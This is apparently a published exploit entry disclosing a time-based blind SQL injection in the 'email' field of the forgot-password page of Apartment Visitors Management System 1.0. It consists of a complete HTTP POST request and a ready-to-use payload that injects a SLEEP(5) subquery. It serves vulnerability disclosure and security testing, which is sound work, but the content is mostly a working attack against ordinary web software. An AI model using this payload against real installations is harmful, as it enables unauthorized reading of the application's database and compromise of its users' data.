# Exploit Title: Apartment Visitors Management System 1.0 - 'email' SQL Injection # Date: 20.01.2021 # Exploit Author: CANKAT ÇAKMAK # Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395 # Version: V1.0 # Tested on: Windows 10 ---------------------------------------------------- POST /avms/forgot-password.php HTTP/1.1 Host: test.com Content-Length: 42 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: test.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://test.com/avms/forgot-password.php Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 email=test%40gmail.com&contactno=1&submit= ---------------------------------------------------- poC: Parameter: email (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=test@gmail.com' AND (SELECT 2600 FROM (SELECT(SLEEP(5)))jpeB) AND 'WVFv'='WVFv&contactno=1&submit=